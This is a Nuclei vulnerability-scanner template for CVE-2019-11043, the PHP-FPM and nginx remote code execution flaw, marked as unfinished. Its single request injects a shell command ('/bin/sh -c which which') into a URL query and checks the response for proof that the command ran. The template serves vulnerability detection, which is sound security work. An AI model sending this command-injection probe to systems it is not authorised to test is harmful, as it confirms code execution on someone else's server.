nuclei-templates/cves/CVE-2019-11043.yaml

21 lines
486 B
YAML

id: cve-2019-11043
info:
name: PHP-FPM & nginx RCE
author: geeknik
severity: high
description: Certain versions of PHP 7 running on NGINX with php-fpm enabled can be vulnerable to remote code execution.
reference: https://github.com/neex/phuip-fpizdam
# This tempalte needs to reworked, WIP.
requests:
- method: GET
path:
- "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
matchers:
- type: word
words:
- "/bin/which"
part: body